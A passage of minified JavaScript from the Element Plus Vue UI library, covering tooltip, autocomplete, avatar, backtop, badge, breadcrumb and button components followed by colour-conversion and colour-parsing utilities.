M=d(i);M&&((q=M.popperInstanceRef)==null||q.update())},l=D(!1),u=D(),{show:c,hide:f,hasUpdateHandler:p}=xX({indicator:l,toggleReason:u}),{onOpen:m,onClose:g}=R9({showAfter:hn(r,"showAfter"),hideAfter:hn(r,"hideAfter"),autoClose:hn(r,"autoClose"),open:c,close:f}),v=N(()=>Un(r.visible)&&!p.value);Ot(Jm,{controlled:v,id:o,open:Tl(l),trigger:hn(r,"trigger"),onOpen:q=>{m(q)},onClose:q=>{g(q)},onToggle:q=>{d(l)?g(q):m(q)},onShow:()=>{n("show",u.value)},onHide:()=>{n("hide",u.value)},onBeforeShow:()=>{n("before-show",u.value)},onBeforeHide:()=>{n("before-hide",u.value)},updatePopper:a}),Ce(()=>r.disabled,q=>{q&&l.value&&(l.value=!1)});const I=q=>{var M,E;const x=(E=(M=s.value)==null?void 0:M.contentRef)==null?void 0:E.popperContentRef,R=(q==null?void 0:q.relatedTarget)||document.activeElement;return x&&x.contains(R)};return uA(()=>l.value&&f()),t({popperRef:i,contentRef:s,isFocusInsideContent:I,updatePopper:a,onOpen:m,onClose:g,hide:f}),(q,M)=>(B(),ye(d(P6),{ref_key:"popperRef",ref:i,role:q.role},{default:fe(()=>[ae(ZX,{disabled:q.disabled,trigger:q.trigger,"trigger-keys":q.triggerKeys,"virtual-ref":q.virtualRef,"virtual-triggering":q.virtualTriggering},{default:fe(()=>[q.$slots.default?qe(q.$slots,"default",{key:0}):pe("v-if",!0)]),_:3},8,["disabled","trigger","trigger-keys","virtual-ref","virtual-triggering"]),ae(jX,{ref_key:"contentRef",ref:s,"aria-label":q.ariaLabel,"boundaries-padding":q.boundariesPadding,content:q.content,disabled:q.disabled,effect:q.effect,enterable:q.enterable,"fallback-placements":q.fallbackPlacements,"hide-after":q.hideAfter,"gpu-acceleration":q.gpuAcceleration,offset:q.offset,persistent:q.persistent,"popper-class":q.popperClass,"popper-style":q.popperStyle,placement:q.placement,"popper-options":q.popperOptions,pure:q.pure,"raw-content":q.rawContent,"reference-el":q.referenceEl,"trigger-target-el":q.triggerTargetEl,"show-after":q.showAfter,strategy:q.strategy,teleported:q.teleported,transition:q.transition,"virtual-triggering":q.virtualTriggering,"z-index":q.zIndex,"append-to":q.appendTo},{default:fe(()=>[qe(q.$slots,"content",{},()=>[q.rawContent?(B(),_("span",{key:0,innerHTML:q.content},null,8,WX)):(B(),_("span",GX,We(q.content),1))]),q.showArrow?(B(),ye(d(QD),{key:0,"arrow-offset":q.arrowOffset},null,8,["arrow-offset"])):pe("v-if",!0)]),_:3},8,["aria-label","boundaries-padding","content","disabled","effect","enterable","fallback-placements","hide-after","gpu-acceleration","offset","persistent","popper-class","popper-style","placement","popper-options","pure","raw-content","reference-el","trigger-target-el","show-after","strategy","teleported","transition","virtual-triggering","z-index","append-to"])]),_:3},8,["role"]))}});var JX=Ye(BX,[["__file","tooltip.vue"]]);const Vr=It(JX),VX=Ge({valueKey:{type:String,default:"value"},modelValue:{type:[String,Number],default:""},debounce:{type:Number,default:300},placement:{type:he(String),values:["top","top-start","top-end","bottom","bottom-start","bottom-end"],default:"bottom-start"},fetchSuggestions:{type:he([Function,Array]),default:on},popperClass:{type:String,default:""},triggerOnFocus:{type:Boolean,default:!0},selectWhenUnmatched:{type:Boolean,default:!1},hideLoading:{type:Boolean,default:!1},label:{type:String},teleported:yr.teleported,highlightFirstItem:{type:Boolean,default:!1},fitInputWidth:{type:Boolean,default:!1},clearable:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},name:String}),UX={[St]:e=>st(e),[Qr]:e=>st(e),[qn]:e=>st(e),focus:e=>e instanceof FocusEvent,blur:e=>e instanceof FocusEvent,clear:()=>!0,select:e=>At(e)},FX=["aria-expanded","aria-owns"],HX={key:0},PX=["id","aria-selected","onClick"],D6="ElAutocomplete",DX=ie({name:D6,inheritAttrs:!1}),XX=ie({...DX,props:VX,emits:UX,setup(e,{expose:t,emit:n}){const r=e,o=B1(),i=Nl(),s=fo(),a=Oe("autocomplete"),l=D(),u=D(),c=D(),f=D();let p=!1,m=!1;const g=D([]),v=D(-1),I=D(""),q=D(!1),M=D(!1),E=D(!1),x=Jr(),R=N(()=>i.style),K=N(()=>(g.value.length>0||E.value)&&q.value),W=N(()=>!r.hideLoading&&E.value),j=N(()=>l.value?Array.from(l.value.$el.querySelectorAll("input")):[]),H=()=>{K.value&&(I.value=`${l.value.$el.offsetWidth}px`)},P=()=>{v.value=-1},X=co(async re=>{if(M.value)return;const de=ce=>{E.value=!1,!M.value&&(Ve(ce)?(g.value=ce,v.value=r.highlightFirstItem?0:-1):tr(D6,"autocomplete suggestions must be an array"))};if(E.value=!0,Ve(r.fetchSuggestions))de(r.fetchSuggestions);else{const ce=await r.fetchSuggestions(re,de);Ve(ce)&&de(ce)}},r.debounce),L=re=>{const de=!!re;if(n(Qr,re),n(St,re),M.value=!1,q.value||(q.value=de),!r.triggerOnFocus&&!re){M.value=!0,g.value=[];return}X(re)},h=re=>{var de;s.value||(((de=re.target)==null?void 0:de.tagName)!=="INPUT"||j.value.includes(document.activeElement))&&(q.value=!0)},b=re=>{n(qn,re)},w=re=>{m?m=!1:(q.value=!0,n("focus",re),r.triggerOnFocus&&!p&&X(String(r.modelValue)))},A=re=>{setTimeout(()=>{var de;if((de=c.value)!=null&&de.isFocusInsideContent()){m=!0;return}q.value&&k(),n("blur",re)})},C=()=>{q.value=!1,n(St,""),n("clear")},S=async()=>{K.value&&v.value>=0&&v.value<g.value.length?te(g.value[v.value]):r.selectWhenUnmatched&&(n("select",{value:r.modelValue}),g.value=[],v.value=-1)},z=re=>{K.value&&(re.preventDefault(),re.stopPropagation(),k())},k=()=>{q.value=!1},y=()=>{var re;(re=l.value)==null||re.focus()},T=()=>{var re;(re=l.value)==null||re.blur()},te=async re=>{n(Qr,re[r.valueKey]),n(St,re[r.valueKey]),n("select",re),g.value=[],v.value=-1},le=re=>{if(!K.value||E.value)return;if(re<0){v.value=-1;return}re>=g.value.length&&(re=g.value.length-1);const de=u.value.querySelector(`.${a.be("suggestion","wrap")}`),we=de.querySelectorAll(`.${a.be("suggestion","list")} li`)[re],Ie=de.scrollTop,{offsetTop:ge,scrollHeight:Me}=we;ge+Me>Ie+de.clientHeight&&(de.scrollTop+=Me),ge<Ie&&(de.scrollTop-=Me),v.value=re,l.value.ref.setAttribute("aria-activedescendant",`${x.value}-item-${v.value}`)};return rf(f,()=>{K.value&&k()}),mt(()=>{l.value.ref.setAttribute("role","textbox"),l.value.ref.setAttribute("aria-autocomplete","list"),l.value.ref.setAttribute("aria-controls","id"),l.value.ref.setAttribute("aria-activedescendant",`${x.value}-item-${v.value}`),p=l.value.ref.hasAttribute("readonly")}),t({highlightedIndex:v,activated:q,loading:E,inputRef:l,popperRef:c,suggestions:g,handleSelect:te,handleKeyEnter:S,focus:y,blur:T,close:k,highlight:le}),(re,de)=>(B(),ye(d(Vr),{ref_key:"popperRef",ref:c,visible:d(K),placement:re.placement,"fallback-placements":["bottom-start","top-start"],"popper-class":[d(a).e("popper"),re.popperClass],teleported:re.teleported,"gpu-acceleration":!1,pure:"","manual-mode":"",effect:"light",trigger:"click",transition:`${d(a).namespace.value}-zoom-in-top`,persistent:"",role:"listbox",onBeforeShow:H,onHide:P},{content:fe(()=>[ne("div",{ref_key:"regionRef",ref:u,class:F([d(a).b("suggestion"),d(a).is("loading",d(W))]),style:De({[re.fitInputWidth?"width":"minWidth"]:I.value,outline:"none"}),role:"region"},[ae(d(Cs),{id:d(x),tag:"ul","wrap-class":d(a).be("suggestion","wrap"),"view-class":d(a).be("suggestion","list"),role:"listbox"},{default:fe(()=>[d(W)?(B(),_("li",HX,[qe(re.$slots,"loading",{},()=>[ae(d(Pe),{class:F(d(a).is("loading"))},{default:fe(()=>[ae(d(wa))]),_:1},8,["class"])])])):(B(!0),_(Qe,{key:1},Lt(g.value,(ce,we)=>(B(),_("li",{id:`${d(x)}-item-${we}`,key:we,class:F({highlighted:v.value===we}),role:"option","aria-selected":v.value===we,onClick:Ie=>te(ce)},[qe(re.$slots,"default",{item:ce},()=>[Kt(We(ce[re.valueKey]),1)])],10,PX))),128))]),_:3},8,["id","wrap-class","view-class"])],6)]),default:fe(()=>[ne("div",{ref_key:"listboxRef",ref:f,class:F([d(a).b(),re.$attrs.class]),style:De(d(R)),role:"combobox","aria-haspopup":"listbox","aria-expanded":d(K),"aria-owns":d(x)},[ae(d(Gr),xt({ref_key:"inputRef",ref:l},d(o),{clearable:re.clearable,disabled:d(s),name:re.name,"model-value":re.modelValue,onInput:L,onChange:b,onFocus:w,onBlur:A,onClear:C,onKeydown:[de[0]||(de[0]=un(rt(ce=>le(v.value-1),["prevent"]),["up"])),de[1]||(de[1]=un(rt(ce=>le(v.value+1),["prevent"]),["down"])),un(S,["enter"]),un(k,["tab"]),un(z,["esc"])],onMousedown:h}),ms({_:2},[re.$slots.prepend?{name:"prepend",fn:fe(()=>[qe(re.$slots,"prepend")])}:void 0,re.$slots.append?{name:"append",fn:fe(()=>[qe(re.$slots,"append")])}:void 0,re.$slots.prefix?{name:"prefix",fn:fe(()=>[qe(re.$slots,"prefix")])}:void 0,re.$slots.suffix?{name:"suffix",fn:fe(()=>[qe(re.$slots,"suffix")])}:void 0]),1040,["clearable","disabled","name","model-value","onKeydown"])],14,FX)]),_:3},8,["visible","placement","popper-class","teleported","transition"]))}});var QX=Ye(XX,[["__file","autocomplete.vue"]]);const _X=It(QX),$X=Ge({size:{type:[Number,String],values:Ui,default:"",validator:e=>nt(e)},shape:{type:String,values:["circle","square"],default:"circle"},icon:{type:cn},src:{type:String,default:""},alt:String,srcSet:String,fit:{type:he(String),default:"cover"}}),eQ={error:e=>e instanceof Event},tQ=["src","alt","srcset"],nQ=ie({name:"ElAvatar"}),rQ=ie({...nQ,props:$X,emits:eQ,setup(e,{emit:t}){const n=e,r=Oe("avatar"),o=D(!1),i=N(()=>{const{size:u,icon:c,shape:f}=n,p=[r.b()];return st(u)&&p.push(r.m(u)),c&&p.push(r.m("icon")),f&&p.push(r.m(f)),p}),s=N(()=>{const{size:u}=n;return nt(u)?r.cssVarBlock({size:Yn(u)||""}):void 0}),a=N(()=>({objectFit:n.fit}));Ce(()=>n.src,()=>o.value=!1);function l(u){o.value=!0,t("error",u)}return(u,c)=>(B(),_("span",{class:F(d(i)),style:De(d(s))},[(u.src||u.srcSet)&&!o.value?(B(),_("img",{key:0,src:u.src,alt:u.alt,srcset:u.srcSet,style:De(d(a)),onError:l},null,44,tQ)):u.icon?(B(),ye(d(Pe),{key:1},{default:fe(()=>[(B(),ye(Et(u.icon)))]),_:1})):qe(u.$slots,"default",{key:2})],6))}});var oQ=Ye(rQ,[["__file","avatar.vue"]]);const iQ=It(oQ),sQ={visibilityHeight:{type:Number,default:200},target:{type:String,default:""},right:{type:Number,default:40},bottom:{type:Number,default:40}},aQ={click:e=>e instanceof MouseEvent},lQ=(e,t,n)=>{const r=ln(),o=ln(),i=D(!1),s=()=>{r.value&&(i.value=r.value.scrollTop>=e.visibilityHeight)},a=u=>{var c;(c=r.value)==null||c.scrollTo({top:0,behavior:"smooth"}),t("click",u)},l=SC(s,300,!0);return pn(o,"scroll",l),mt(()=>{var u;o.value=document,r.value=document.documentElement,e.target&&(r.value=(u=document.querySelector(e.target))!=null?u:void 0,r.value||tr(n,`target does not exist: ${e.target}`),o.value=r.value),s()}),{visible:i,handleClick:a}},X6="ElBacktop",uQ=ie({name:X6}),cQ=ie({...uQ,props:sQ,emits:aQ,setup(e,{emit:t}){const n=e,r=Oe("backtop"),{handleClick:o,visible:i}=lQ(n,t,X6),s=N(()=>({right:`${n.right}px`,bottom:`${n.bottom}px`}));return(a,l)=>(B(),ye(Hn,{name:`${d(r).namespace.value}-fade-in`},{default:fe(()=>[d(i)?(B(),_("div",{key:0,style:De(d(s)),class:F(d(r).b()),onClick:l[0]||(l[0]=rt((...u)=>d(o)&&d(o)(...u),["stop"]))},[qe(a.$slots,"default",{},()=>[ae(d(Pe),{class:F(d(r).e("icon"))},{default:fe(()=>[ae(d(aF))]),_:1},8,["class"])])],6)):pe("v-if",!0)]),_:3},8,["name"]))}});var dQ=Ye(cQ,[["__file","backtop.vue"]]);const fQ=It(dQ),hQ=Ge({value:{type:[String,Number],default:""},max:{type:Number,default:99},isDot:Boolean,hidden:Boolean,type:{type:String,values:["primary","success","warning","info","danger"],default:"danger"},showZero:{type:Boolean,default:!0},color:String}),pQ=["textContent"],mQ=ie({name:"ElBadge"}),vQ=ie({...mQ,props:hQ,setup(e,{expose:t}){const n=e,r=Oe("badge"),o=N(()=>n.isDot?"":nt(n.value)&&nt(n.max)?n.max<n.value?`${n.max}+`:n.value===0&&!n.showZero?"":`${n.value}`:`${n.value}`);return t({content:o}),(i,s)=>(B(),_("div",{class:F(d(r).b())},[qe(i.$slots,"default"),ae(Hn,{name:`${d(r).namespace.value}-zoom-in-center`,persisted:""},{default:fe(()=>[ft(ne("sup",{class:F([d(r).e("content"),d(r).em("content",i.type),d(r).is("fixed",!!i.$slots.default),d(r).is("dot",i.isDot)]),style:De({backgroundColor:i.color}),textContent:We(d(o))},null,14,pQ),[[_t,!i.hidden&&(d(o)||i.isDot)]])]),_:1},8,["name"])],2))}});var gQ=Ye(vQ,[["__file","badge.vue"]]);const Q6=It(gQ),_6=Symbol("breadcrumbKey"),yQ=Ge({separator:{type:String,default:"/"},separatorIcon:{type:cn}}),bQ=["aria-label"],IQ=ie({name:"ElBreadcrumb"}),qQ=ie({...IQ,props:yQ,setup(e){const t=e,{t:n}=Vt(),r=Oe("breadcrumb"),o=D();return Ot(_6,t),mt(()=>{const i=o.value.querySelectorAll(`.${r.e("item")}`);i.length&&i[i.length-1].setAttribute("aria-current","page")}),(i,s)=>(B(),_("div",{ref_key:"breadcrumb",ref:o,class:F(d(r).b()),"aria-label":d(n)("el.breadcrumb.label"),role:"navigation"},[qe(i.$slots,"default")],10,bQ))}});var wQ=Ye(qQ,[["__file","breadcrumb.vue"]]);const SQ=Ge({to:{type:he([String,Object]),default:""},replace:{type:Boolean,default:!1}}),EQ=ie({name:"ElBreadcrumbItem"}),AQ=ie({...EQ,props:SQ,setup(e){const t=e,n=bt(),r=Fe(_6,void 0),o=Oe("breadcrumb"),i=n.appContext.config.globalProperties.$router,s=D(),a=()=>{!t.to||!i||(t.replace?i.replace(t.to):i.push(t.to))};return(l,u)=>{var c,f;return B(),_("span",{class:F(d(o).e("item"))},[ne("span",{ref_key:"link",ref:s,class:F([d(o).e("inner"),d(o).is("link",!!l.to)]),role:"link",onClick:a},[qe(l.$slots,"default")],2),(c=d(r))!=null&&c.separatorIcon?(B(),ye(d(Pe),{key:0,class:F(d(o).e("separator"))},{default:fe(()=>[(B(),ye(Et(d(r).separatorIcon)))]),_:1},8,["class"])):(B(),_("span",{key:1,class:F(d(o).e("separator")),role:"presentation"},We((f=d(r))==null?void 0:f.separator),3))],2)}}});var $6=Ye(AQ,[["__file","breadcrumb-item.vue"]]);const MQ=It(wQ,{BreadcrumbItem:$6}),CQ=kn($6),ek=Symbol("buttonGroupContextKey"),kQ=(e,t)=>{ml({from:"type.text",replacement:"link",version:"3.0.0",scope:"props",ref:"https://element-plus.org/en-US/component/button.html#button-attributes"},N(()=>e.type==="text"));const n=Fe(ek,void 0),r=Gm("button"),{form:o}=eo(),i=nr(N(()=>n==null?void 0:n.size)),s=fo(),a=D(),l=pr(),u=N(()=>e.type||(n==null?void 0:n.type)||""),c=N(()=>{var g,v,I;return(I=(v=e.autoInsertSpace)!=null?v:(g=r.value)==null?void 0:g.autoInsertSpace)!=null?I:!1}),f=N(()=>e.tag==="button"?{ariaDisabled:s.value||e.loading,disabled:s.value||e.loading,autofocus:e.autofocus,type:e.nativeType}:{}),p=N(()=>{var g;const v=(g=l.default)==null?void 0:g.call(l);if(c.value&&(v==null?void 0:v.length)===1){const I=v[0];if((I==null?void 0:I.type)===cc){const q=I.children;return new RegExp("^\\p{Unified_Ideograph}{2}$","u").test(q.trim())}}return!1});return{_disabled:s,_size:i,_type:u,_ref:a,_props:f,shouldAddSpace:p,handleClick:g=>{e.nativeType==="reset"&&(o==null||o.resetFields()),t("click",g)}}},Hg=["default","primary","success","warning","info","danger","text",""],xQ=["button","submit","reset"],Pg=Ge({size:fr,disabled:Boolean,type:{type:String,values:Hg,default:""},icon:{type:cn},nativeType:{type:String,values:xQ,default:"button"},loading:Boolean,loadingIcon:{type:cn,default:()=>wa},plain:Boolean,text:Boolean,link:Boolean,bg:Boolean,autofocus:Boolean,round:Boolean,circle:Boolean,color:String,dark:Boolean,autoInsertSpace:{type:Boolean,default:void 0},tag:{type:he([String,Object]),default:"button"}}),OQ={click:e=>e instanceof MouseEvent};function Or(e,t){zQ(e)&&(e="100%");var n=KQ(e);return e=t===360?e:Math.min(t,Math.max(0,parseFloat(e))),n&&(e=parseInt(String(e*t),10)/100),Math.abs(e-t)<1e-6?1:(t===360?e=(e<0?e%t+t:e%t)/parseFloat(String(t)):e=e%t/parseFloat(String(t)),e)}function Hf(e){return Math.min(1,Math.max(0,e))}function zQ(e){return typeof e=="string"&&e.indexOf(".")!==-1&&parseFloat(e)===1}function KQ(e){return typeof e=="string"&&e.indexOf("%")!==-1}function tk(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function Pf(e){return e<=1?"".concat(Number(e)*100,"%"):e}function tl(e){return e.length===1?"0"+e:String(e)}function RQ(e,t,n){return{r:Or(e,255)*255,g:Or(t,255)*255,b:Or(n,255)*255}}function L2(e,t,n){e=Or(e,255),t=Or(t,255),n=Or(n,255);var r=Math.max(e,t,n),o=Math.min(e,t,n),i=0,s=0,a=(r+o)/2;if(r===o)s=0,i=0;else{var l=r-o;switch(s=a>.5?l/(2-r-o):l/(r+o),r){case e:i=(t-n)/l+(t<n?6:0);break;case t:i=(n-e)/l+2;break;case n:i=(e-t)/l+4;break}i/=6}return{h:i,s,l:a}}function s0(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+(t-e)*(6*n):n<1/2?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function LQ(e,t,n){var r,o,i;if(e=Or(e,360),t=Or(t,100),n=Or(n,100),t===0)o=n,i=n,r=n;else{var s=n<.5?n*(1+t):n+t-n*t,a=2*n-s;r=s0(a,s,e+1/3),o=s0(a,s,e),i=s0(a,s,e-1/3)}return{r:r*255,g:o*255,b:i*255}}function Z2(e,t,n){e=Or(e,255),t=Or(t,255),n=Or(n,255);var r=Math.max(e,t,n),o=Math.min(e,t,n),i=0,s=r,a=r-o,l=r===0?0:a/r;if(r===o)i=0;else{switch(r){case e:i=(t-n)/a+(t<n?6:0);break;case t:i=(n-e)/a+2;break;case n:i=(e-t)/a+4;break}i/=6}return{h:i,s:l,v:s}}function ZQ(e,t,n){e=Or(e,360)*6,t=Or(t,100),n=Or(n,100);var r=Math.floor(e),o=e-r,i=n*(1-t),s=n*(1-o*t),a=n*(1-(1-o)*t),l=r%6,u=[n,s,i,i,a,n][l],c=[a,n,n,s,i,i][l],f=[i,i,a,n,n,s][l];return{r:u*255,g:c*255,b:f*255}}function T2(e,t,n,r){var o=[tl(Math.round(e).toString(16)),tl(Math.round(t).toString(16)),tl(Math.round(n).toString(16))];return r&&o[0].startsWith(o[0].charAt(1))&&o[1].startsWith(o[1].charAt(1))&&o[2].startsWith(o[2].charAt(1))?o[0].charAt(0)+o[1].charAt(0)+o[2].charAt(0):o.join("")}function TQ(e,t,n,r,o){var i=[tl(Math.round(e).toString(16)),tl(Math.round(t).toString(16)),tl(Math.round(n).toString(16)),tl(NQ(r))];return o&&i[0].startsWith(i[0].charAt(1))&&i[1].startsWith(i[1].charAt(1))&&i[2].startsWith(i[2].charAt(1))&&i[3].startsWith(i[3].charAt(1))?i[0].charAt(0)+i[1].charAt(0)+i[2].charAt(0)+i[3].charAt(0):i.join("")}function NQ(e){return Math.round(parseFloat(e)*255).toString(16)}function N2(e){return po(e)/255}function po(e){return parseInt(e,16)}function jQ(e){return{r:e>>16,g:(e&65280)>>8,b:e&255}}var Dg={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",goldenrod:"#daa520",gold:"#ffd700",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavenderblush:"#fff0f5",lavender:"#e6e6fa",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"};function WQ(e){var t={r:0,g:0,b:0},n=1,r=null,o=null,i=null,s=!1,a=!1;return typeof e=="string"&&(e=BQ(e)),typeof e=="object"&&(_i(e.r)&&_i(e.g)&&_i(e.b)?(t=RQ(e.r,e.g,e.b),s=!0,a=String(e.r).substr(-1)==="%"?"prgb":"rgb"):_i(e.h)&&_i(e.s)&&_i(e.v)?(r=Pf(e.s),o=Pf(e.v),t=ZQ(e.h,r,o),s=!0,a="hsv"):_i(e.h)&&_i(e.s)&&_i(e.l)&&(r=Pf(e.s),i=Pf(e.l),t=LQ(e.h,r,i),s=!0,a="hsl"),Object.prototype.hasOwnProperty.call(e,"a")&&(n=e.a)),n=tk(n),{ok:s,format:e.format||a,r:Math.min(255,Math.max(t.r,0)),g:Math.min(255,Math.max(t.g,0)),b:Math.min(255,Math.max(t.b,0)),a:n}}var GQ="[-\\+]?\\d+%?",YQ="[-\\+]?\\d*\\.\\d+%?",$s="(?:".concat(YQ,")|(?:").concat(GQ,")"),a0="[\\s|\\(]+(".concat($s,")[,|\\s]+(").concat($s,")[,|\\s]+(").concat($s,")\\s*\\)?"),l0="[\\s|\\(]+(".concat($s,")[,|\\s]+(").concat($s,")[,|\\s]+(").concat($s,")[,|\\s]+(").concat($s,")\\s*\\)?"),ei={CSS_UNIT:new RegExp($s),rgb:new RegExp("rgb"+a0),rgba:new RegExp("rgba"+l0),hsl:new RegExp("hsl"+a0),hsla:new RegExp("hsla"+l0),hsv:new RegExp("hsv"+a0),hsva:new RegExp("hsva"+l0),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/};function BQ(e){if(e=e.trim().toLowerCase(),e.length===0)return!1;var t=!1;if(Dg[e])e=Dg[e],t=!0;else if(e==="transparent")return{r:0,g:0,b:0,a:0,format:"name"};var n=ei.rgb.exec(e);return n?{r:n[1],g:n[2],b:n[3]}:(n=ei.rgba.exec(e),n?{r:n[1],g:n[2],b:n[3],a:n[4]}:(n=ei.hsl.exec(e),n?{h:n[1],s:n[2],l:n[3]}:(n=ei.hsla.exec(e),n?{h:n[1],s:n[2],l:n[3],a:n[4]}:(n=ei.hsv.exec(e),n?{h:n[1],s:n[2],v:n[3]}:(n=ei.hsva.exec(e),n?{h:n[1],s:n[2],v:n[3],a:n[4]}:(n=ei.hex8.exec(e),n?{r:po(n[1]),g:po(n[2]),b:po(n[3]),a:N2(n[4]),format:t?"name":"hex8"}:(n=ei.hex6.exec(e),n?{r:po(n[1]),g:po(n[2]),b:po(n[3]),format:t?"name":"hex"}:(n=ei.hex4.exec(e),n?{r:po(n[1]+n[1]),g:po(n[2]+n[2]),b:po(n[3]+n[3]),a:N2(n[4]+n[4]),format:t?"name":"hex8"}:(n=ei.hex3.exec(e),n?{r:po(n[1]+n[1]),g:po(n[2]+n[2]),b:po(n[3]+n[3]),format:t?"name":"hex"}:!1)))))))))}function _i(e){return!!ei.CSS_UNIT.exec(String(e))}var nk=function(){function e(t,n){t===void 0&&(t=""),n===void 0&&(n={});var r;if(t instanceof e)return t;typeof t=="number"&&(t=jQ(t)),this.originalInput=t;var o=WQ(t);this.originalInput=t,this.r=o.r,this.g=o.g,this.b=o.b,this.a=o.a,this.roundA=Math.round(100*this.a)/100,this.format=(r=n.format)!==null&&r!==void 0?r:o.format,this.gradientType=n.gradientType,this.r<1&&(this.r=Math.round(this.r)),this.g<1&&(this.g=Math.round(this.g)),this.b<1&&(this.b=Math.round(this.b)),this.isValid=o.ok}return e.prototype.isDark=function(){return this.getBrightness()<128},e.prototype.isLight=function(){return!this.isDark()},e.prototype.getBrightness=function(){var t=this.toRgb();return(t.r*299+t.g*587+t.b*114)/1e3},e.prototype.getLuminance=function(){var t=this.toRgb(),n,r,o,i=t.r/255,s=t.g/255,a=t.b/255;return i<=.03928?n=i/12.92:n=Math.pow((i+.055)/1.055,2.4),s<=.03928?r=s/12.92:r=Math.pow((s+.055)/1.055,2.4),a<=.03928?o=a/12.92:o=Math.pow((a+.055)/1.055,2.4),.2126*n+.7152*r+.0722*o},e.prototype.getAlpha=function(){return this.a},e.prototype.setAlpha=function(t){return this.a=tk(t),this.roundA=Math.round(100*this.a)/100,this},e.prototype.isMonochrome=function(){var t=this.toHsl().s;return t===0},e.prototype.toHsv=function(){var t=Z2(this.r,this.g,this.b);return{h:t.h*360,s:t.s,v:t.v,a:this.a}},e.prototype.toHsvString=function(){var t=Z2(this.r,this.g,this.b),n=Math.round(t.h*360),r=Math.round(t.s*100),o=Math.round(t.v*100);return this.a===1?"hsv(".concat(n,", ").concat(r,"%, ").concat(o,"%)"):"hsva(".concat(n,", ").concat(r,"%, ").concat(o,"%, ").concat(this.roundA,")")},e.prototype.toHsl=function(){var t=L2(this.r,this.g,this.b);return{h:t.h*360,s:t.s,l:t.l,a:this.a}},e.prototype.toHslString=function(){var t=L2(this.r,this.g,this.b),n=Math.round(t.h*360),r=Math.round(t.s*100),o=Math.round(t.l*100);return this.a===1?"hsl(".concat(n,", ").concat(r,"%, ").concat(o,"%)"):"hsla(".concat(n,", ").concat(r,"%, ").concat(o,"%, ").concat(this.roundA,")")},e.prototype.toHex=function(t){return t===void 0&&(t=!1),T2(this.r,this.g,this.b,t)},e.prototype.toHexString=function(t){return t===void 0&&(t=!1),"#"+this.toHex(t)},e.prototype.toHex8=function(t){return t===void 0&&(t=!1),TQ(this.r,this.g,this.b,this.a,t)},e.prototype.toHex8String=function(t){return t===void 